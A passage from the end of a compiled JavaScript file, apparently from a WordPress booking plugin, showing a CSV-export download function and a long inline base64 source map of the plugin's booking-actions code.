wpbc_button_enable_loading_icon(this_el); } /** * Open URL in new tab - mainly it's used for open CSV link for downloaded exported bookings as CSV * * @param export_csv_url */ function wpbc_ajx_booking__export_csv_url__download(export_csv_url) { //var selected_booking_id_arr = wpbc_get_selected_row_id(); document.location.href = export_csv_url; // + '&selected_id=' + selected_booking_id_arr.join(','); // It's open additional dialog for asking opening ulr in new tab // window.open( export_csv_url, '_blank').focus(); } //# sourceMappingURL=data:application/json;charset=utf8;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoiaW5jbHVkZXMvcGFnZS1ib29raW5ncy9fb3V0L2Jvb2tpbmdzX19hY3Rpb25zLmpzIiwibmFtZXMiOlsiX3R5cGVvZiIsIm9iaiIsIlN5bWJvbCIsIml0ZXJhdG9yIiwiY29uc3RydWN0b3IiLCJwcm90b3R5cGUiLCJ3cGJjX2FqeF9ib29raW5nX2FqYXhfYWN0aW9uX3JlcXVlc3QiLCJhY3Rpb25fcGFyYW0iLCJhcmd1bWVudHMiLCJsZW5ndGgiLCJ1bmRlZmluZWQiLCJjb25zb2xlIiwiZ3JvdXBDb2xsYXBzZWQiLCJsb2ciLCJ3cGJjX2Jvb2tpbmdfbGlzdGluZ19yZWxvYWRfYnV0dG9uX19zcGluX3N0YXJ0IiwiQXJyYXkiLCJpc0FycmF5Iiwid3BiY19nZXRfc2VsZWN0ZWRfbG9jYWxlIiwid3BiY19hanhfYm9va2luZ19saXN0aW5nIiwiZ2V0X3NlY3VyZV9wYXJhbSIsImFjdGlvbl9wb3N0X3BhcmFtcyIsImFjdGlvbiIsIm5vbmNlIiwid3BiY19hanhfdXNlcl9pZCIsIndwYmNfYWp4X2xvY2FsZSIsImFjdGlvbl9wYXJhbXMiLCJzZWFyY2hfcGFyYW1zIiwialF1ZXJ5IiwicG9zdCIsIndwYmNfdXJsX2FqYXgiLCJyZXNwb25zZV9kYXRhIiwidGV4dFN0YXR1cyIsImpxWEhSIiwiZ3JvdXBFbmQiLCJoaWRlIiwiZ2V0X290aGVyX3BhcmFtIiwiaHRtbCIsIndwYmNfYm9va2luZ19saXN0aW5nX3JlbG9hZF9idXR0b25fX3NwaW5fcGF1c2UiLCJ3cGJjX2FkbWluX3Nob3dfbWVzc2FnZSIsInJlcGxhY2UiLCJpc19yZWxvYWRfYWpheF9saXN0aW5nIiwid3BiY19hanhfYm9va2luZ19zZW5kX3NlYXJjaF9yZXF1ZXN0X3dpdGhfcGFyYW1zIiwiY2xvc2VkX3RpbWVyIiwic2V0VGltZW91dCIsIndwYmNfYm9va2luZ19saXN0aW5nX3JlbG9hZF9idXR0b25fX2lzX3NwaW4iLCJkb2N1bWVudCIsImxvY2F0aW9uIiwiaHJlZiIsInJlbG9hZCIsIndwYmNfYWp4X2Jvb2tpbmdfX2V4cG9ydF9jc3ZfdXJsX19kb3dubG9hZCIsIndwYmNfYWp4X2Jvb2tpbmdfX2FjdHVhbF9saXN0aW5nX19zaG93Iiwid3BiY19idXR0b25fX3JlbW92ZV9zcGluIiwid3BiY19wb3B1cF9tb2RhbHNfX2hpZGUiLCJmYWlsIiwiZXJyb3JUaHJvd24iLCJ3aW5kb3ciLCJlcnJvcl9tZXNzYWdlIiwicmVzcG9uc2VUZXh0Iiwid3BiY19hanhfYm9va2luZ19zaG93X21lc3NhZ2UiLCJ3cGJjX215X21vZGFsIiwid3BiY19hanhfY2xpY2tfb25fZGF0ZXNfc2hvcnQiLCJzaG93Iiwid3BiY19hanhfY2xpY2tfb25fZGF0ZXNfd2lkZSIsIndwYmNfYWp4X2NsaWNrX29uX2RhdGVzX3RvZ2dsZSIsInRoaXNfZGF0ZSIsInBhcmVudHMiLCJmaW5kIiwidG9nZ2xlIiwid3BiY19hanhfYm9va2luZ19fdWlfZGVmaW5lX19sb2NhbGUiLCJlYWNoIiwiaW5kZXgiLCJzZWxlY3Rpb24iLCJhdHRyIiwicHJvcCIsImhhc0NsYXNzIiwiYm9va2luZ19sb2NhbGVfYnV0dG9uIiwiYWRkQ2xhc3MiLCJ3cGJjX3RpcHB5IiwiZ2V0IiwiX3RpcHB5Iiwic2V0Q29udGVudCIsIndwYmNfYWp4X2Jvb2tpbmdfX3VpX2RlZmluZV9fcmVtYXJrIiwidGV4dF92YWwiLCJ2YWwiLCJyZW1hcmtfYnV0dG9uIiwic2V0UHJvcHMiLCJhbGxvd0hUTUwiLCJjb250ZW50Iiwid3BiY19hanhfYm9va2luZ19fdWlfY2xpY2tfX3JlbWFyayIsImpxX2J1dHRvbiIsIndwYmNfYWp4X2Jvb2tpbmdfX3VpX2NsaWNrX3Nob3dfX2NoYW5nZV9yZXNvdXJjZSIsImJvb2tpbmdfaWQiLCJyZXNvdXJjZV9pZCIsInRyaWdnZXIiLCJjYnIiLCJkZXRhY2giLCJhcHBlbmRUbyIsImlzIiwid3BiY19hanhfYm9va2luZ19fdWlfY2xpY2tfc2F2ZV9fY2hhbmdlX3Jlc291cmNlIiwidGhpc19lbCIsImJvb2tpbmdfYWN0aW9uIiwiZWxfaWQiLCJ3cGJjX2J1dHRvbl9lbmFibGVfbG9hZGluZ19pY29uIiwid3BiY19hanhfYm9va2luZ19fdWlfY2xpY2tfY2xvc2VfX2NoYW5nZV9yZXNvdXJjZSIsImNicmNlIiwid3BiY19hanhfYm9va2luZ19fdWlfY2xpY2tfc2hvd19fZHVwbGljYXRlX2Jvb2tpbmciLCJ3cGJjX2FqeF9ib29raW5nX191aV9jbGlja19zYXZlX19kdXBsaWNhdGVfYm9va2luZyIsIndwYmNfYWp4X2Jvb2tpbmdfX3VpX2NsaWNrX2Nsb3NlX19kdXBsaWNhdGVfYm9va2luZyIsIndwYmNfYWp4X2Jvb2tpbmdfX3VpX2NsaWNrX3Nob3dfX3NldF9wYXltZW50X3N0YXR1cyIsImpTZWxlY3QiLCJzZWxlY3RlZF9wYXlfc3RhdHVzIiwiaXNOYU4iLCJwYXJzZUZsb2F0Iiwid3BiY19hanhfYm9va2luZ19fdWlfY2xpY2tfc2F2ZV9fc2V0X3BheW1lbnRfc3RhdHVzIiwid3BiY19hanhfYm9va2luZ19fdWlfY2xpY2tfY2xvc2VfX3NldF9wYXltZW50X3N0YXR1cyIsIndwYmNfYWp4X2Jvb2tpbmdfX3VpX2NsaWNrX3NhdmVfX3NldF9ib29raW5nX2Nvc3QiLCJ3cGJjX2FqeF9ib29raW5nX191aV9jbGlja19jbG9zZV9fc2V0X2Jvb2tpbmdfY29zdCIsIndwYmNfYWp4X2Jvb2tpbmdfX3VpX2NsaWNrX19zZW5kX3BheW1lbnRfcmVxdWVzdCIsIndwYmNfYWp4X2Jvb2tpbmdfX3VpX2NsaWNrX19pbXBvcnRfZ29vZ2xlX2NhbGVuZGFyIiwid3BiY19hanhfYm9va2luZ19fdWlfY2xpY2tfX2V4cG9ydF9jc3YiLCJwYXJhbXMiLCJzZWxlY3RlZF9ib29raW5nX2lkX2FyciIsIndwYmNfZ2V0X3NlbGVjdGVkX3Jvd19pZCIsImpvaW4iLCJzZWFyY2hfZ2V0X2FsbF9wYXJhbXMiLCJleHBvcnRfY3N2X3VybCJdLCJzb3VyY2VzIjpbImluY2x1ZGVzL3BhZ2UtYm9va2luZ3MvX3NyYy9ib29raW5nc19fYWN0aW9ucy5qcyJdLCJzb3VyY2VzQ29udGVudCI6WyJcInVzZSBzdHJpY3RcIjtcclxuXHJcbi8qKlxyXG4gKiAgIEFqYXggICAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAqL1xyXG4vL3ZhciBpc190aGlzX2FjdGlvbiA9IGZhbHNlO1xyXG4vKipcclxuICogU2VuZCBBamF4IGFjdGlvbiByZXF1ZXN0LCAgbGlrZSBhcHByb3Zpbmcgb3IgY2FuY2VsbGF0aW9uXHJcbiAqXHJcbiAqIEBwYXJhbSBhY3Rpb25fcGFyYW1cclxuICovXHJcbmZ1bmN0aW9uIHdwYmNfYWp4X2Jvb2tpbmdfYWpheF9hY3Rpb25fcmVxdWVzdCggYWN0aW9uX3BhcmFtID0ge30gKXtcclxuXHJcbmNvbnNvbGUuZ3JvdXBDb2xsYXBzZWQoICdXUEJDX0FKWF9CT09LSU5HX0FDVElPTlMnICk7IGNvbnNvbGUubG9nKCAnID09IEFqYXggQWN0aW9ucyA6OiBQYXJhbXMgPT0gJywgYWN0aW9uX3BhcmFtICk7XHJcbi8vaXNfdGhpc19hY3Rpb24gPSB0cnVlO1xyXG5cclxuXHR3cGJjX2Jvb2tpbmdfbGlzdGluZ19yZWxvYWRfYnV0dG9uX19zcGluX3N0YXJ0KCk7XHJcblxyXG5cdC8vIEdldCByZWRlZmluZWQgTG9jYWxlLCAgaWYgYWN0aW9uIG9uIHNpbmdsZSBib29raW5nICFcclxuXHRpZiAoICAoIHVuZGVmaW5lZCAhPSBhY3Rpb25fcGFyYW1bICdib29raW5nX2lkJyBdICkgJiYgKCAhIEFycmF5LmlzQXJyYXkoIGFjdGlvbl9wYXJhbVsgJ2Jvb2tpbmdfaWQnIF0gKSApICl7XHRcdFx0XHQvLyBOb3QgYXJyYXlcclxuXHJcblx0XHRhY3Rpb25fcGFyYW1bICdsb2NhbGUnIF0gPSB3cGJjX2dldF9zZWxlY3RlZF9sb2NhbGUoIGFjdGlvbl9wYXJhbVsgJ2Jvb2tpbmdfaWQnIF0sIHdwYmNfYWp4X2Jvb2tpbmdfbGlzdGluZy5nZXRfc2VjdXJlX3BhcmFtKCAnbG9jYWxlJyApICk7XHJcblx0fVxyXG5cclxuXHR2YXIgYWN0aW9uX3Bvc3RfcGFyYW1zID0ge1xyXG5cdFx0XHRcdFx0XHRcdFx0YWN0aW9uICAgICAgICAgIDogJ1dQQkNfQUpYX0JPT0tJTkdfQUNUSU9OUycsXHJcblx0XHRcdFx0XHRcdFx0XHRub25jZSAgICAgICAgICAgOiB3cGJjX2FqeF9ib29raW5nX2xpc3RpbmcuZ2V0X3NlY3VyZV9wYXJhbSggJ25vbmNlJyApLFxyXG5cdFx0XHRcdFx0XHRcdFx0d3BiY19hanhfdXNlcl9pZDogKCAoIHVuZGVmaW5lZCA9PSBhY3Rpb25fcGFyYW1bICd1c2VyX2lkJyBdICkgPyB3cGJjX2FqeF9ib29raW5nX2xpc3RpbmcuZ2V0X3NlY3VyZV9wYXJhbSggJ3VzZXJfaWQnICkgOiBhY3Rpb25fcGFyYW1bICd1c2VyX2lkJyBdICksXHJcblx0XHRcdFx0XHRcdFx0XHR3cGJjX2FqeF9sb2NhbGU6ICAoICggdW5kZWZpbmVkID09IGFjdGlvbl9wYXJhbVsgJ2xvY2FsZScgXSApICA/IHdwYmNfYWp4X2Jvb2tpbmdfbGlzdGluZy5nZXRfc2VjdXJlX3BhcmFtKCAnbG9jYWxlJyApICA6IGFjdGlvbl9wYXJhbVsgJ2xvY2FsZScgXSApLFxyXG5cclxuXHRcdFx0XHRcdFx0XHRcdGFjdGlvbl9wYXJhbXNcdDogYWN0aW9uX3BhcmFtXHJcblx0XHRcdFx0XHRcdFx0fTtcclxuXHJcblx0Ly8gSXQncyByZXF1aXJlZCBmb3IgQ1NWIGV4cG9ydCAtIGdldHRpbmcgdGhlIHNhbWUgbGlzdCAgb2YgYm9va2luZ3NcclxuXHRpZiAoIHR5cGVvZiBhY3Rpb25fcGFyYW0uc2VhcmNoX3BhcmFtcyAhPT0gJ3VuZGVmaW5lZCcgKXtcclxuXHRcdGFjdGlvbl9wb3N0X3BhcmFtc1sgJ3NlYXJjaF9wYXJhbXMnIF0gPSBhY3Rpb25fcGFyYW0uc2VhcmNoX3BhcmFtcztcclxuXHRcdGRlbGV0ZSBhY3Rpb25fcG9zdF9wYXJhbXMuYWN0aW9uX3BhcmFtcy5zZWFyY2hfcGFyYW1zO1xyXG5cdH1cclxuXHJcblx0Ly8gU3RhcnQgQWpheFxyXG5cdGpRdWVyeS5wb3N0KCB3cGJjX3VybF9hamF4ICxcclxuXHJcblx0XHRcdFx0YWN0aW9uX3Bvc3RfcGFyYW1zICxcclxuXHJcblx0XHRcdFx0LyoqXHJcblx0XHRcdFx0ICogUyB1IGMgYyBlIHMgc1xyXG5cdFx0XHRcdCAqXHJcblx0XHRcdFx0ICogQHBhcmFtIHJlc3BvbnNlX2RhdGFcdFx0LVx0aXRzIG9iamVjdCByZXR1cm5lZCBmcm9tICBBamF4IC0gY2xhc3MtbGl2ZS1zZWFyY2cucGhwXHJcblx0XHRcdFx0ICogQHBhcmFtIHRleHRTdGF0dXNcdFx0LVx0J3N1Y2Nlc3MnXHJcblx0XHRcdFx0ICogQHBhcmFtIGpxWEhSXHRcdFx0XHQtXHRPYmplY3RcclxuXHRcdFx0XHQgKi9cclxuXHRcdFx0XHRmdW5jdGlvbiAoIHJlc3BvbnNlX2RhdGEsIHRleHRTdGF0dXMsIGpxWEhSICkge1xyXG5cclxuY29uc29sZS5sb2coICcgPT0gQWpheCBBY3Rpb25zIDo6IFJlc3BvbnNlIFdQQkNfQUpYX0JPT0tJTkdfQUNUSU9OUyA9PSAnLCByZXNwb25zZV9kYXRhICk7IGNvbnNvbGUuZ3JvdXBFbmQoKTtcclxuXHJcblx0XHRcdFx0XHQvLyBQcm9iYWJseSBFcnJvclxyXG5cdFx0XHRcdFx0aWYgKCAodHlwZW9mIHJlc3BvbnNlX2RhdGEgIT09ICdvYmplY3QnKSB8fCAocmVzcG9uc2VfZGF0YSA9PT0gbnVsbCkgKXtcclxuXHRcdFx0XHRcdFx0alF1ZXJ5KCAnLndwYmNfYWp4X3VuZGVyX3Rvb2xiYXJfcm93JyApLmhpZGUoKTtcdCBcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQvL0ZpeEluOiA5LjYuMS41XHJcblx0XHRcdFx0XHRcdGpRdWVyeSggd3BiY19hanhfYm9va2luZ19saXN0aW5nLmdldF9vdGhlcl9wYXJhbSggJ2xpc3RpbmdfY29udGFpbmVyJyApICkuaHRtbChcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCc8ZGl2IGNsYXNzPVwid3BiYy1zZXR0aW5ncy1ub3RpY2Ugbm90aWNlLXdhcm5pbmdcIiBzdHlsZT1cInRleHQtYWxpZ246bGVmdFwiPicgK1xyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRyZXNwb25zZV9kYXRhICtcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCc8L2Rpdj4nXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCk7XHJcblx0XHRcdFx0XHRcdHJldHVybjtcclxuXHRcdFx0XHRcdH1cclxuXHJcblx0XHRcdFx0XHR3cGJjX2Jvb2tpbmdfbGlzdGluZ19yZWxvYWRfYnV0dG9uX19zcGluX3BhdXNlKCk7XHJcblxyXG5cdFx0XHRcdFx0d3BiY19hZG1pbl9zaG93X21lc3NhZ2UoXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCAgcmVzcG9uc2VfZGF0YVsgJ2FqeF9hZnRlcl9hY3Rpb25fbWVzc2FnZScgXS5yZXBsYWNlKCAvXFxuL2csIFwiPGJyIC8+XCIgKVxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQsICggJzEnID09IHJlc3BvbnNlX2RhdGFbICdhanhfYWZ0ZXJfYWN0aW9uX3Jlc3VsdCcgXSApID8gJ3N1Y2Nlc3MnIDogJ2Vycm9yJ1xyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQsICggKCAndW5kZWZpbmVkJyA9PT0gdHlwZW9mKHJlc3BvbnNlX2RhdGFbICdhanhfYWZ0ZXJfYWN0aW9uX3Jlc3VsdF9hbGxfcGFyYW1zX2FycicgXVsgJ2FmdGVyX2FjdGlvbl9yZXN1bHRfZGVsYXknIF0pIClcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQ/IDEwMDAwXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0OiByZXNwb25zZV9kYXRhWyAnYWp4X2FmdGVyX2FjdGlvbl9yZXN1bHRfYWxsX3BhcmFtc19hcnInIF1bICdhZnRlcl9hY3Rpb25fcmVzdWx0X2RlbGF5JyBdIClcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdCk7XHJcblxyXG5cdFx0XHRcdFx0Ly8gU3VjY2VzcyByZXNwb25zZVxyXG5cdFx0XHRcdFx0aWYgKCAnMScgPT0gcmVzcG9uc2VfZGF0YVsgJ2FqeF9hZnRlcl9hY3Rpb25fcmVzdWx0JyBdICl7XHJcblxyXG5cdFx0XHRcdFx0XHR2YXIgaXNfcmVsb2FkX2FqYXhfbGlzdGluZyA9IHRydWU7XHJcblxyXG5cdFx0XHRcdFx0XHQvLyBBZnRlciBHb29nbGUgQ2FsZW5kYXIgaW1wb3J0IHNob3cgaW1wb3J0ZWQgYm9va2luZ3MgYW5kIHJlbG9hZCB0aGUgcGFnZSBmb3IgdG9vbGJhciBwYXJhbWV0ZXJzIHVwZGF0ZVxyXG5cdFx0XHRcdFx0XHRpZiAoIGZhbHNlICE9PSByZXNwb25zZV9kYXRhWyAnYWp4X2FmdGVyX2FjdGlvbl9yZXN1bHRfYWxsX3BhcmFtc19hcnInIF1bICduZXdfbGlzdGluZ19wYXJhbXMnIF0gKXtcclxuXHJcblx0XHRcdFx0XHRcdFx0d3BiY19hanhfYm9va2luZ19zZW5kX3NlYXJjaF9yZXF1ZXN0X3dpdGhfcGFyYW1zKCByZXNwb25zZV9kYXRhWyAnYWp4X2FmdGVyX2FjdGlvbl9yZXN1bHRfYWxsX3BhcmFtc19hcnInIF1bICduZXdfbGlzdGluZ19wYXJhbXMnIF0gKTtcclxuXHJcblx0XHRcdFx0XHRcdFx0dmFyIGNsb3NlZF90aW1lciA9IHNldFRpbWVvdXQoIGZ1bmN0aW9uICgpe1xyXG5cclxuXHRcdFx0XHRcdFx0XHRcdFx0aWYgKCB3cGJjX2Jvb2tpbmdfbGlzdGluZ19yZWxvYWRfYnV0dG9uX19pc19zcGluKCkgKXtcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRpZiAoIHVuZGVmaW5lZCAhPSByZXNwb25zZV9kYXRhWyAnYWp4X2FmdGVyX2FjdGlvbl9yZXN1bHRfYWxsX3BhcmFtc19hcnInIF1bICduZXdfbGlzdGluZ19wYXJhbXMnIF1bICdyZWxvYWRfdXJsX3BhcmFtcycgXSApe1xyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0ZG9jdW1lbnQubG9jYXRpb24uaHJlZiA9IHJlc3BvbnNlX2RhdGFbICdhanhfYWZ0ZXJfYWN0aW9uX3Jlc3VsdF9hbGxfcGFyYW1zX2FycicgXVsgJ25ld19saXN0aW5nX3BhcmFtcycgXVsgJ3JlbG9hZF91cmxfcGFyYW1zJyBdO1xyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdH0gZWxzZSB7XHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRkb2N1bWVudC5sb2NhdGlvbi5yZWxvYWQoKTtcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHR9XHJcblx0XHRcdFx0XHRcdFx0XHRcdH1cclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHR9XHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0LCAyMDAwICk7XHJcblx0XHRcdFx0XHRcdFx0aXNfcmVsb2FkX2FqYXhfbGlzdGluZyA9IGZhbHNlO1xyXG5cdFx0XHRcdFx0XHR9XHJcblxyXG5cdFx0XHRcdFx0XHQvLyBTdGFydCBkb3dubG9hZCBleHBvcnRlZCBDU1YgZmlsZVxyXG5cdFx0XHRcdFx0XHRpZiAoIHVuZGVmaW5lZCAhPSByZXNwb25zZV9kYXRhWyAnYWp4X2FmdGVyX2FjdGlvbl9yZXN1bHRfYWxsX3BhcmFtc19hcnInIF1bICdleHBvcnRfY3N2X3VybCcgXSApe1xyXG5cdFx0XHRcdFx0XHRcdHdwYmNfYWp4X2Jvb2tpbmdfX2V4cG9ydF9jc3ZfdXJsX19kb3dubG9hZCggcmVzcG9uc2VfZGF0YVsgJ2FqeF9hZnRlcl9hY3Rpb25fcmVzdWx0X2FsbF9wYXJhbXNfYXJyJyBdWyAnZXhwb3J0X2Nzdl91cmwnIF0gKTtcclxuXHRcdFx0XHRcdFx0XHRpc19yZWxvYWRfYWpheF9saXN0aW5nID0gZmFsc2U7XHJcblx0XHRcdFx0XHRcdH1cclxuXHJcblx0XHRcdFx0XHRcdGlmICggaXNfcmVsb2FkX2FqYXhfbGlzdGluZyApe1xyXG5cdFx0XHRcdFx0XHRcdHdwYmNfYWp4X2Jvb2tpbmdfX2FjdHVhbF9saXN0aW5nX19zaG93KCk7XHQvL1x0U2VuZGluZyBBamF4IFJlcXVlc3RcdC1cdHdpdGggcGFyYW1ldGVycyB0aGF0ICB3ZSBlYXJseSAgZGVmaW5lZCBpbiBcIndwYmNfYWp4X2Jvb2tpbmdfbGlzdGluZ1wiIE9iai5cclxuXHRcdFx0XHRcdFx0fVxyXG5cclxuXHRcdFx0XHRcdH1cclxuXHJcblx0XHRcdFx0XHQvLyBSZW1vdmUgc3BpbiBpY29uIGZyb20gIGJ1dHRvbiBhbmQgRW5hYmxlIHRoaXMgYnV0dG9uLlxyXG5cdFx0XHRcdFx0d3BiY19idXR0b25fX3JlbW92ZV9zcGluKCByZXNwb25zZV9kYXRhWyAnYWp4X2NsZWFuZWRfcGFyYW1zJyBdWyAndWlfY2xpY2tlZF9lbGVtZW50X2lkJyBdIClcclxuXHJcblx0XHRcdFx0XHQvLyBIaWRlIG1vZGFsc1xyXG5cdFx0XHRcdFx0d3BiY19wb3B1cF9tb2RhbHNfX2hpZGUoKTtcclxuXHJcblx0XHRcdFx0XHRqUXVlcnkoICcjYWpheF9yZXNwb25kJyApLmh0bWwoIHJlc3BvbnNlX2RhdGEgKTtcdFx0Ly8gRm9yIGFiaWxpdHkgdG8gc2hvdyByZXNwb25zZSwgYWRkIHN1Y2ggRElWIGVsZW1lbnQgdG8gcGFnZVxyXG5cdFx0XHRcdH1cclxuXHRcdFx0ICApLmZhaWwoIGZ1bmN0aW9uICgganFYSFIsIHRleHRTdGF0dXMsIGVycm9yVGhyb3duICkgeyAgICBpZiAoIHdpbmRvdy5jb25zb2xlICYmIHdpbmRvdy5jb25zb2xlLmxvZyApeyBjb25zb2xlLmxvZyggJ0FqYXhfRXJyb3InLCBqcVhIUiwgdGV4dFN0YXR1cywgZXJyb3JUaHJvd24gKTsgfVxyXG5cdFx0XHRcdFx0alF1ZXJ5KCAnLndwYmNfYWp4X3VuZGVyX3Rvb2xiYXJfcm93JyApLmhpZGUoKTtcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0Ly9GaXhJbjogOS42LjEuNVxyXG5cdFx0XHRcdFx0dmFyIGVycm9yX21lc3NhZ2UgPSAnPHN0cm9uZz4nICsgJ0Vycm9yIScgKyAnPC9zdHJvbmc+ICcgKyBlcnJvclRocm93biA7XHJcblx0XHRcdFx0XHRpZiAoIGpxWEhSLnJlc3BvbnNlVGV4dCApe1xyXG5cdFx0XHRcdFx0XHRlcnJvcl9tZXNzYWdlICs9IGpxWEhSLnJlc3BvbnNlVGV4dDtcclxuXHRcdFx0XHRcdH1cclxuXHRcdFx0XHRcdGVycm9yX21lc3NhZ2UgPSBlcnJvcl9tZXNzYWdlLnJlcGxhY2UoIC9cXG4vZywgXCI8YnIgLz5cIiApO1xyXG5cclxuXHRcdFx0XHRcdHdwYmNfYWp4X2Jvb2tpbmdfc2hvd19tZXNzYWdlKCBlcnJvcl9tZXNzYWdlICk7XHJcblx0XHRcdCAgfSlcclxuXHQgICAgICAgICAgLy8gLmRvbmUoICAgZnVuY3Rpb24gKCBkYXRhLCB0ZXh0U3RhdHVzLCBqcVhIUiApIHsgICBpZiAoIHdpbmRvdy5jb25zb2xlICYmIHdpbmRvdy5jb25zb2xlLmxvZyApeyBjb25zb2xlLmxvZyggJ3NlY29uZCBzdWNjZXNzJywgZGF0YSwgdGV4dFN0YXR1cywganFYSFIgKTsgfSAgICB9KVxyXG5cdFx0XHQgIC8vIC5hbHdheXMoIGZ1bmN0aW9uICggZGF0YV9qcVhIUiwgdGV4dFN0YXR1cywganFYSFJfZXJyb3JUaHJvd24gKSB7ICAgaWYgKCB3aW5kb3cuY29uc29sZSAmJiB3aW5kb3cuY29uc29sZS5sb2cgKXsgY29uc29sZS5sb2coICdhbHdheXMgZmluaXNoZWQnLCBkYXRhX2pxWEhSLCB0ZXh0U3RhdHVzLCBqcVhIUl9lcnJvclRocm93biApOyB9ICAgICB9KVxyXG5cdFx0XHQgIDsgIC8vIEVuZCBBamF4XHJcbn1cclxuXHJcblxyXG5cclxuLyoqXHJcbiAqIEhpZGUgYWxsIG9wZW4gbW9kYWwgcG9wdXBzIHdpbmRvd3NcclxuICovXHJcbmZ1bmN0aW9uIHdwYmNfcG9wdXBfbW9kYWxzX19oaWRlKCl7XHJcblxyXG5cdC8vIEhpZGUgbW9kYWxzXHJcblx0aWYgKCAnZnVuY3Rpb24nID09PSB0eXBlb2YgKGpRdWVyeSggJy53cGJjX3BvcHVwX21vZGFsJyApLndwYmNfbXlfbW9kYWwpICl7XHJcblx0XHRqUXVlcnkoICcud3BiY19wb3B1cF9tb2RhbCcgKS53cGJjX215X21vZGFsKCAnaGlkZScgKTtcclxuXHR9XHJcbn1cclxuXHJcblxyXG4vKipcclxuICogICBEYXRlcyAgU2hvcnQgPC0+IFdpZGUgICAgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gKi9cclxuXHJcbmZ1bmN0aW9uIHdwYmNfYWp4X2NsaWNrX29uX2RhdGVzX3Nob3J0KCl7XHJcblx0alF1ZXJ5KCAnI2Jvb2tpbmdfZGF0ZXNfc21hbGwsLmJvb2tpbmdfZGF0ZXNfZnVsbCcgKS5oaWRlKCk7XHJcblx0alF1ZXJ5KCAnI2Jvb2tpbmdfZGF0ZXNfZnVsbCwuYm9va2luZ19kYXRlc19zbWFsbCcgKS5zaG93KCk7XHJcblx0d3BiY19hanhfYm9va2luZ19zZW5kX3NlYXJjaF9yZXF1ZXN0X3dpdGhfcGFyYW1zKCB7J3VpX3Vzcl9fZGF0ZXNfc2hvcnRfd2lkZSc6ICdzaG9ydCd9ICk7XHJcbn1cclxuXHJcbmZ1bmN0aW9uIHdwYmNfYWp4X2NsaWNrX29uX2RhdGVzX3dpZGUoKXtcclxuXHRqUXVlcnkoICcjYm9va2luZ19kYXRlc19mdWxsLC5ib29raW5nX2RhdGVzX3NtYWxsJyApLmhpZGUoKTtcclxuXHRqUXVlcnkoICcjYm9va2luZ19kYXRlc19zbWFsbCwuYm9va2luZ19kYXRlc19mdWxsJyApLnNob3coKTtcclxuXHR3cGJjX2FqeF9ib29raW5nX3NlbmRfc2VhcmNoX3JlcXVlc3Rfd2l0aF9wYXJhbXMoIHsndWlfdXNyX19kYXRlc19zaG9ydF93aWRlJzogJ3dpZGUnfSApO1xyXG59XHJcblxyXG5mdW5jdGlvbiB3cGJjX2FqeF9jbGlja19vbl9kYXRlc190b2dnbGUodGhpc19kYXRlKXtcclxuXHJcblx0alF1ZXJ5KCB0aGlzX2RhdGUgKS5wYXJlbnRzKCAnLndwYmNfY29sX2RhdGVzJyApLmZpbmQoICcuYm9va2luZ19kYXRlc19zbWFsbCcgKS50b2dnbGUoKTtcclxuXHRqUXVlcnkoIHRoaXNfZGF0ZSApLnBhcmVudHMoICcud3BiY19jb2xfZGF0ZXMnICkuZmluZCggJy5ib29raW5nX2RhdGVzX2Z1bGwnICkudG9nZ2xlKCk7XHJcblxyXG5cdC8qXHJcblx0dmFyIHZpc2libGVfc2VjdGlvbiA9IGpRdWVyeSggdGhpc19kYXRlICkucGFyZW50cyggJy5ib29raW5nX2RhdGVzX2V4cGFuZF9zZWN0aW9uJyApO1xyXG5cdHZpc2libGVfc2VjdGlvbi5oaWRlKCk7XHJcblx0aWYgKCB2aXNpYmxlX3NlY3Rpb24uaGFzQ2xhc3MoICdib29raW5nX2RhdGVzX2Z1bGwnICkgKXtcclxuXHRcdHZpc2libGVfc2VjdGlvbi5wYXJlbnRzKCAnLndwYmNfY29sX2RhdGVzJyApLmZpbmQoICcuYm9va2luZ19kYXRlc19zbWFsbCcgKS5zaG93KCk7XHJcblx0fSBlbHNlIHtcclxuXHRcdHZpc2libGVfc2VjdGlvbi5wYXJlbnRzKCAnLndwYmNfY29sX2RhdGVzJyApLmZpbmQoICcuYm9va2luZ19kYXRlc19mdWxsJyApLnNob3coKTtcclxuXHR9Ki9cclxuXHRjb25zb2xlLmxvZyggJ3dwYmNfYWp4X2NsaWNrX29uX2RhdGVzX3RvZ2dsZScsIHRoaXNfZGF0ZSApO1xyXG59XHJcblxyXG4vKipcclxuICogICBMb2NhbGUgICAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gKi9cclxuXHJcbi8qKlxyXG4gKiBcdFNlbGVjdCBvcHRpb25zIGluIHNlbGVjdCBib3hlcyBiYXNlZCBvbiBhdHRyaWJ1dGU